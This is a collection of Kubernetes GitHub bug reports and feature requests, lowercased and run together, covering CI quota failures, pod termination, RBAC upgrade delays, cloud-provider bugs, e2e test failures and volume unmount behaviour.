is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r ci tests for  48469 failed with a quota error:\r \r    \r i0708 13:01:19.525  creating new network: e2e-38580\r w0708 13:02:07.576  error:  gcloud.compute.networks.create  could not fetch resource:\r w0708 13:02:07.577   - quota 'subnetworks' exceeded.  limit: 100.0\r    \r \r full logs:\r \r https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/48469/pull-kubernetes-kubemark-e2e-gce/38580/build-log.txt\r \r   what you expected to happen  :\r \r clean test run.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't know wnough about the test infrastructure to know.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : unknown  test infra \r - cloud provider or hardware configuration  : gcp\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : google cloud platform\r \r i'm not even sure if this is possible. \r \r   ingressprod.yaml  \r \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: wordpress\r       annotations:\r         kubernetes.io/ingress.class: \ gce\ \r         ingress.kubernetes.io/affinity: \ cookie\ \r         ingress.kubernetes.io/session-cookie-name: \ route\ \r         ingress.kubernetes.io/session-cookie-hash: \ sha1\ \r     spec:\r       tls:\r       - hosts:\r         -    .ddns.net\r         secretname: production-tls\r       rules:\r         - host:    .ddns.net\r           http:\r             paths:\r             - path: / \r               backend:\r                 servicename: wordpress\r                 serviceport: 80\r \r with the above config it does not seem to add any additional cookies. and it seems to have the default round robin load balancing behaviour. \r

is this a bug report or feature request?  :\r \r >  \r   labels  \r \r > @kubernetes/sig-node-bugs\r \r   what happened  :\r when deleting a deployment,  a pod stays \ terminating\  state too long\r > kubectl get pod -o wide | grep orderdeal\r > m2m-orderdeal-2-1848417580-0n180                   1/1       terminating   0          4d        <none>           10.142.233.108\r \r there are no events by executing \ kubectl describe pod m2m-orderdeal-2-1848417580-0n180\ \r \r i inspect the log of kubelet in 10.142.233.108, it says:\r > docker_manager.go:1539  no ref for pod '\ 0b3742f44a88d269d823eeed72c70e7206ee68f0c7713a21ace7a1fb19e3c63e m2m-orderdeal-2 default/m2m-orderdeal-2-1848417580-0n180\ '  \r \r then i check whether containers of the pod exist, just find that \ pause\  container has been deleted while the \ orderdeal\  container not\r \r > docker ps | grep m2m-orderdeal-2-1848417580-0n180\r > 0b3742f44a88        10.142.233.224:8021/m2m_product/ctg-m2m-orderdeal-war-alogic.war:1.0.0_release-snapshot-7966       \ /bin/krun.sh\            10 hours ago        up 10 hours                             k8s_m2m-orderdeal-2.70ae298_m2m-orderdeal-2-1848417580-0n180_default_10f49274-8f50-11e7-903b-6c92bf1c00a8_3196f7cb\r \r i tried to delete this container by \ docker stop 0b3742f44a88 && docker delete 0b3742f44a88\ , while a moment later, the containers was created and running again \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r so far i don't know how to reproduce this situation\r \r   environment  :\r \r - kubernetes version\r >$ kubectl version\r >client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.12\ , gitcommit:\ 19e81afecf5eb2b7838c35e2cbf776aff04dc34c\ , gittreestate:\ clean\ , builddate:\ 2017-04-20t21:01:06z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.12\ , >gitcommit:\ 19e81afecf5eb2b7838c35e2cbf776aff04dc34c\ , gittreestate:\ clean\ , builddate:\ 2017-04-20t20:55:26z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - docker info\r > client:\r  version:      17.06.0-ce\r  api version:  1.30\r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:20:36 2017\r  os/arch:      linux/amd64\r \r >server:\r  version:      17.06.0-ce\r  api version:  1.30  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:21:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r  docker@nm-302-sa5212m4-bigdata-2016-036 ~ $ docker info\r containers: 58\r  running: 53\r  paused: 0\r  stopped: 5\r images: 34\r server version: 17.06.0-ce\r storage driver: overlay\r  backing filesystem: xfs\r  supports d_type: false\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins: \r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: cfb82a876ecc11b5ca0977d1733adbe58599088a\r runc version: 2d41c047c83e09a6d61d464906feb2a2f3c52aa4\r init version: 949e6fa\r security options:\r  seccomp\r   profile: default\r kernel version: 3.10.0-514.26.2.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 32\r total memory: 188.6gib\r name: nm-302-sa5212m4-bigdata-2016-036\r id: 4dnk:gycf:zh3k:ace6:h6da:xinn:bwsb:iwb4:lb6d:itl4:ppvp:wzwm\r docker root dir: /app/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r experimental: false\r insecure registries:\r  10.142.233.97:8021\r  127.0.0.0/8\r live restore enabled: false\r \r >warning: overlay: the backing xfs filesystem is formatted without d_type support, which leads to incorrect behavior.\r          reformat the filesystem with ftype=1 to enable d_type support.\r          running without d_type support will not be supported in future releases.\r \r \r

forked from  3233 and other issues.  we have patch, but it would be very convenient to have a generic way to specify api fields on the command line for create and update.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kubelet throws the exception when --cloud-provider=cloudstack is included:\r \r  unable to construct v1.node object for kubelet: could not get instance type: <nil> \r \r   what you expected to happen  :\r \r there shouldn't be an exception. \r \r   how to reproduce it  as minimally and precisely as possible   :\r add the following line to /etc/systemd/system/kubelet.service.d/10-kubeadm.conf:\r \r  \r environment=\ kubelet_extra_args=--cloud-provider=cloudstack --cloud-config=/etc/kubernetes/cloud.conf\  \r  \r and also configure the cloud.conf file.\r \r   anything else we need to know?  :\r \r the condition check in the instancetype   function in metadata.go is wrong. it currently reads:\r    \r // instancetype returns the type of the specified instance.\r func  m  metadata  instancetype name types.nodename   string, error  {\r         instancetype, err := m.get metadatatypeinstancetype \r \tif err == nil {\r \t\treturn \ \ , fmt.errorf \ could not get instance type: %v\ , err \r \t}\r    \r \r but the correct code is  condition negated :\r \r    \r func  m  metadata  instancetype name types.nodename   string, error  {\r \tinstancetype, err := m.get metadatatypeinstancetype \r \tif err != nil {\r \t\treturn \ \ , fmt.errorf \ could not get instance type: %v\ , err \r \t}\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration: cloudstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-98-generic\r - install tools: kubeadm\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r while upgrading a cluster from 1.7.7 to 1.8.4 we are seeing an issue where rbac/v1 apis are taking a long time to be available while rbac/v1beta1 apis are immediately available. \r \r following shows portion of api server logs where repeated attempts to create a clusterrolebinding kept hitting v1beta1 api and failing  as the yaml for clusterrolebinding is using v1  only after around 6 mins was the v1 api available \r \r i1206 02:18:26.159788       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  849.554µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57596 \r i1206 02:18:36.443903       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  882.707µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57626 \r i1206 02:18:47.681015       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  739.119µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57646 \r i1206 02:18:57.950529       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  868.266µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57674 \r i1206 02:19:08.229472       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  819.409µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57714 \r i1206 02:19:18.509022       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  855.587µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57742 \r i1206 02:19:28.788274       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  852.857µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57770 \r i1206 02:19:39.061476       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  863.969µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57804 \r i1206 02:19:49.334077       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  831.841µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57820 \r i1206 02:19:59.612576       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  794.052µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57848 \r i1206 02:20:09.891490       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  873.745µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57872 \r i1206 02:20:20.167194       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  833.252µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57888 \r i1206 02:20:30.559923       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  726.542µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57916 \r i1206 02:20:40.841377       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  778.105µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57946 \r i1206 02:20:51.130115       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  809.75µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57974 \r i1206 02:21:01.561022       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  919.476µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:57990 \r i1206 02:21:11.850537       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  899.759µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58026 \r i1206 02:21:22.140556       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  876.984µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58042 \r i1206 02:21:32.433602       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  836.9µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58070 \r i1206 02:21:42.723118       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  843.08µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58088 \r i1206 02:21:53.005680       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  818.855µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58116 \r i1206 02:22:03.407608       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  790.238µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58132 \r i1206 02:22:13.697983       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  2.185418ms  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58174 \r i1206 02:22:23.983548       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  885.403µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58194 \r i1206 02:22:34.268977       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  856.222µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58222 \r i1206 02:22:44.552567       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  912.803µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58240 \r i1206 02:22:54.840928       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  826.622µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58272 \r i1206 02:23:05.136700       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  902.401µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58290 \r i1206 02:23:15.419510       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  813.022µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58308 \r i1206 02:23:25.699921       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  2.79864ms  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58336 \r i1206 02:23:35.981540       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  827.741µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58366 \r i1206 02:23:46.269816       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  846.222µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58396 \r i1206 02:23:56.552978       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  805.646µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58414 \r i1206 02:24:06.837554       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  914.559µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58442 \r i1206 02:24:17.116817       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings/usera-access:  838.708µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58464 \r i1206 02:24:27.543595       1 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/usera-access:  676.322µs  404   kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  127.0.0.1:58492 \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade a 1.7.7 cluster to 1.8.4. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: aws, t2 medium instances for both master and worker\r - os  e.g. from /etc/os-release :seen on both unbutu and centos  even slower in centos \r - kernel  e.g.  uname -a  : \r - install tools: \r - others:\r \r 

is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r in an attempt to make the openstack cloud provider work with instance names that are not dns-conformant it was changed to use  metadata.hostname  instead of  metadata.name  as in pre-1.10.\r \r this did not solve the original issue  working with non-dns-conformant instances  but created another set of issues. the course that led to this is best described  in this comment  https://github.com/kubernetes/kubernetes/pull/61890 issuecomment-377282182  by @voelzmo.\r \r we should now decide if we want to\r \r   go back to use  metadata.name  again, which will remove a lot of friction of the os provider and keep feature parity to status quo\r   use  metadata.uuid  which will make the os provider work with non-dns-compliant instance names but result in weird node names\r \r cc @dims @hogepodge \r \r \r /sig-openstack

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >   \r  \r   what happened  :\r few of e2e tests are  iterating over the range  https://github.com/kubernetes/kubernetes/pull/67571/files diff-0dc16dc0a015699e53bda03495adc49er204  of different options. so in order to promote them to conformance, we need to generate conformance comment block dynamically specifying appropriate testname: and description:. \r \r is there any way to achieve such dynamic commenting?\r    \r / \r     release : v1.12\r     testname: container runtime, restart policy, pod phases\r     description: if the restart policy is set to ‘always’, pod must be started when terminated, if restart policy is ‘onfailure’, pod must be started only if it is terminated with non-zero exit code. if the restart policy is ‘never’, pod must never be restarted. all these three test cases must verify the restart counts accordingly.\r  /\r    \r \r   anything else we need to know?  :\r - i'm not sure, how do we have generated/updated conformance release doc  v1.11  https://github.com/cncf/k8s-conformance/blob/master/docs/kubeconformance-1.11.md , but inorder to achieve this documentation we need to have dynamic comment provisioning.\r \r \r

problem:\r \r if a node has rbd volumes mounted and you reboot or shutdown the node, the node may forever be stuck on trying to unmount the volumes because by default network is brought down before volumes could be unmounted. we want these volumes to be unmounted before network is shutdown.\r \r a workaround for this is, to use  _netdev  mount option, which instructs systemd to create dependncy between mount and network. but  _netdev  mount option is not copied to bind mounts and hence bind mount still can get stuck when the node is shutting down.\r \r 

the master branch is failing now. the error was because when staring the kubelet, the local-up-cluster.sh script ran:\r    bash\r hyperkube kubelet '' --v=3...\r    \r the  ''  was interpreted as non-flag arguments and caused the kubelet to fail.\r \r /assign\r  cc @roycaihw

original type information is lost when crd authors  expand their openapi definitions  https://github.com/ant31/crd-validation/blob/eab5f7e90b2c/pkg/convert_types.go l81-l89 .  openapi-gen  -based operator code is similarly affected  https://github.com/coreos/prometheus-operator/blob/master/example/prometheus-operator-crd/alertmanager.crd.yaml . crds forbid  $ref   implicit gvk link  and  x-   properties  gvk hints .\r \r _this information enables early, developer-friendly policy checks and useful manifest transforms_. our cicd automation extends the base k8s schema with custom policy and relies on the schema's  $ref -erential knowledge to inspect and operate on target resource types, anywhere they appear, eg. deeply nested   or embedded within custom resources  . prior to validation, a simple callback might first:\r \r   objectmeta  \r - require teams set  app.kubernetes.io/   labels.\r - require teams set org-specific cost/usage/alert aggregation labels.\r - back and forward compat handling, eg.  app ,  app.kubernetes.io/name ,  team , ...\r \r   container  \r - inject dynamic env and volumes.\r - resolve string properties with templates.\r - require several  resources.limits.   are set.\r \r   podspec   ...   podsecuritycontext   ...   volume   ...\r   deployment   ...   cronjobspec   ...   jobspec   ...\r   servicespec   ...   securitycontext   ... _   many more   _ ...\r \r  $ref  expansion makes crds opaque to our automation. a pre-processing step is required to repair the type information and restore visibility into crds. options considered are:\r \r - import all golang-based  openapi-gen 'ed crds _directly_  wherever they write  openapi_generated.go   and call each  getopenapidefinitions  function. merge all results.\r - run  openapi-gen  on k8s and crd sources ourselves. avoids multiple  getopenapidefinitions  calls and potential linking problems.\r - use  kube-apiserver . run  hack/update-openapi-spec.sh  with extra crds \ builtin\  and enabled so  get /openapi/v2  simply returns what we need.\r \r i'd love  $ref  support, but i understand why that could be difficult or undesirable. alas, if crds permitted a known property, eg.  x-kubernetes-group-version-kind   or similar , crd libraries can set it accordingly for _each unique  $ref  expansion_  no need to nest gvk hints , allowing consumers  or even k8s itself  to restore this relationship if and when useful.\r \r are there options we can move on?

when running  validates resource limits of pods that are allowed to run  test, the number of additional pods to create to saturate each node's cpu resource is something  0 . when this happens, the e2e fails due to  calling  framework.startpods  which expects non-zero number of additional pods to be created.  i have introduce condition to skip the waiting part if the number of replicas is  0   1 . still, the question is if the test is always supposed to create at least one additional pod?  i am running the test on cluster with 1 master and 2 nodes. i can image upstream ci has more than 2 nodes. still, this should not matter. what is the \ proper\  pre-condition for the test?    runs where the test passed  :      node: 10.8.53.89 has capacity: 90 node: 10.8.51.123 has capacity: 600 step: starting additional 1 pods to fully saturate the cluster cpu and trying to start another one  --- node: 10.8.48.180 has capacity: 190 node: 10.8.48.230 has capacity: 500 step: starting additional 1 pods to fully saturate the cluster cpu and trying to start another one  --- node: 10.8.52.190 has capacity: 190 node: 10.8.52.29 has capacity: 500 step: starting additional 1 pods to fully saturate the cluster cpu and trying to start another one         runs where the test failed  :      node: 10.8.48.127 has capacity: 290 node: 10.8.55.126 has capacity: 400 step: starting additional 0 pods to fully saturate the cluster cpu and trying to start another one  --- node: 10.8.49.156 has capacity: 300 node: 10.8.52.190 has capacity: 390 step: starting additional 0 pods to fully saturate the cluster cpu and trying to start another one  --- node: 10.8.50.79 has capacity: 390 node: 10.8.50.131 has capacity: 300 step: starting additional 0 pods to fully saturate the cluster cpu and trying to start another one      when the resources allocated are \ almost\  uniformly distributed, no need to create any additional pod. is the scheduler supposed to always create non-uniform distribution? or should be the capacity of each node just increased so there is always a need for at least one additional pod?   1  https://github.com/kubernetes/kubernetes/pull/25192

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/9246/  failed:  k8s.io  dns should provide dns for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:352 expected error:     < errors.errorstring | 0xc8200e00b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred      previous issues for this test:  26168

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-serial/1776/  failed:  k8s.io  etcd failure  disruptive  should recover from network partition with master {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/etcd_failure.go:58 jul 23 07:49:16.093: did not get expected responses within the timeout period of 120.00 seconds.

kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : local cluster with vagrant and virtualbox\r -   install tools  : kubernetes_provider=vagrant ./cluster/kube-up.sh\r \r   what happened  :\r when i build a local cluster with vagrant and virtualbox, i can not see the output of provision script in real-time. i can see the output after the script exits. this means if the script takes 1 hour, i can see the output after waiting for 1 hour. nothing shows while executing the script.\r \r   what you expected to happen  :\r i want to see output while the script executes.\r \r   how to reproduce it  :\r download  binary release v1.5.2   https://github.com/kubernetes/kubernetes/releases/tag/v1.5.2  and unzip it. then change to release directory:\r    \r export kubernetes_provider=vagrant\r ./cluster/kube-up.sh\r    \r \r   anything else we need to know  :\r i find out that if i comment out  this line  https://github.com/kubernetes/kubernetes/blob/release-1.5/vagrantfile l230  in vagrantfile, the problem no longer exists. i think  override  should be used in the following code instead of  config . am i right?\r    \r   then try vsphere\r     config.vm.provider :vsphere do |vsphere, override|\r       setvmboxandurl override, :vsphere \r \r         config.vm.hostname = env 'master_name' \r \r        config.ssh.username = env 'master_user' \r        config.ssh.password = env 'master_passwd' \r \r          !!! here hrer here !!!!\r          config.ssh.pty = true\r          !!! here hrer here !!!!\r        config.ssh.insert_key = true\r         config.ssh.private_key_path = '~/.ssh/id_rsa_vsphere'\r    \r \r fyi, enabling pty means the output will be parsed before writing to ui, please refer to  this link  https://github.com/mitchellh/vagrant/pull/8195/commits/64d49451ab276717100f2ddf3a3489878bd4d10b .\r \r

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gcp\r \r   what happened  :\r i've tried this great nfs example  here  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/nfs \r \r i try to use service name instead of hardcoded ip in persistentvolume configuration and it is not work with \ failed to resolve server nfs-server.default.svc.cluster.local: temporary failure in name resolution\  in pod status. at the same time i can ping this fqdn  and just host nfs-server  from other containers.\r \r i saw annotation in readme.md:\r \r > in the future, we'll be able to tie these together using the service names, but for now, you have to hardcode the ip.\r \r so, what is your plans for this feature?\r

please link to this issue or comment on this issue with known errata for the 1.8.x release. this follows what we have done for prior releases.\r \r we will be populating the \ known issues\  section of 1.8.0 and above release notes based on this issue\r \r fyi @jdumars @radhikapc @bradamant3 \r cc/ @kubernetes/kubernetes-release-managers

/ /  /status approved-for-milestone\r /area platform/gke\r @kubernetes/sig-instrumentation-test-failures\r owns the test\r \r this test has been failing since at least 2017-11-30 for the following job:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.8-downgrade-cluster-parallel\r \r this job is on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevents us from cutting v1.9.0  kubernetes/sig-release 40 . is there work ongoing to bring this test back to green?\r \r /assign @crassirostris @janetkuo \r pulling this out of https://github.com/kubernetes/kubernetes/issues/56426 issuecomment-350056758 into its own issue.  it _might_ be gke specific?  but the gce downgrade jobs are failing right now, so i don't have enough data to say for sure

 \r \r   what happened  :\r i ran this command on top of a directory that had an invalid yaml\r \r  kubectl apply --validate=true --dry-run=true --filename=dir_with_multiple_yamls \r \r kubectl reported this error:\r \r  error: error converting yaml to json: yaml: line 17: could not find expected ':' \r \r from that error message, one has no idea which file contains the syntax error.\r \r note that on certain different errors, filename is being reported, i.e. when you create a file that just contains \ --\ .\r \r   minimal example  :\r \r    \r mkdir /tmp/kubetest\r cd /tmp/kubetest\r echo -e \ --\ a: b\  > broken.yaml\r kubectl apply --validate=true --dry-run=true --filename=$pwd\r    \r \r   what you expected to happen  :\r \r on yaml parse error, kubectl should report filename as well as the line number -- at least in case directory is specified in kubectl apply\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3+coreos.0 & v1.9.3+coreos.0\r

>  \r   what happened  :\r stop a pod with pv, will trigger unmount flow in k8s. and the current flow is to trigger detach of the pv if the unmount operation reached to timeout  called maxwaitforunmountduration, which btw is not configurable https://github.com/kubernetes/kubernetes/issues/68086 .\r \r i think that this is a bug - k8s should not send detach to pv if the unmount operation is stuck and reached to timeout maxwaitforunmountduration. because there is a small chance of data loose here, because there is a chance that the unmount operation didn't unmount the device on the node, and some data still preserve in the filesystem cache.\r \r   what you expected to happen  :\r k8s should not send detach to the pv if the unmount of pv reached to timeout maxwaitforunmountduration. instead it should just fail the unmount and just retry again the unmount.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. change the unmount operation to a fake one that just goes to endless loop.\r 2. create pod with pv on the host with the fake unmount.\r 3. delete the pod -> after few minutes  timeout  k8s should send detach to the pv on this host because the unmount was stuck.\r \r \r   anything else we need to know?  :\r we had a discussion about how k8s discover a crashed node and release the pods on it  here ->\r https://github.com/kubernetes/kubernetes/issues/65392 issuecomment-417040489 \r is some way this current issue is related complimentary  to this one.\r \r \r   environment  :\r every k8s version.

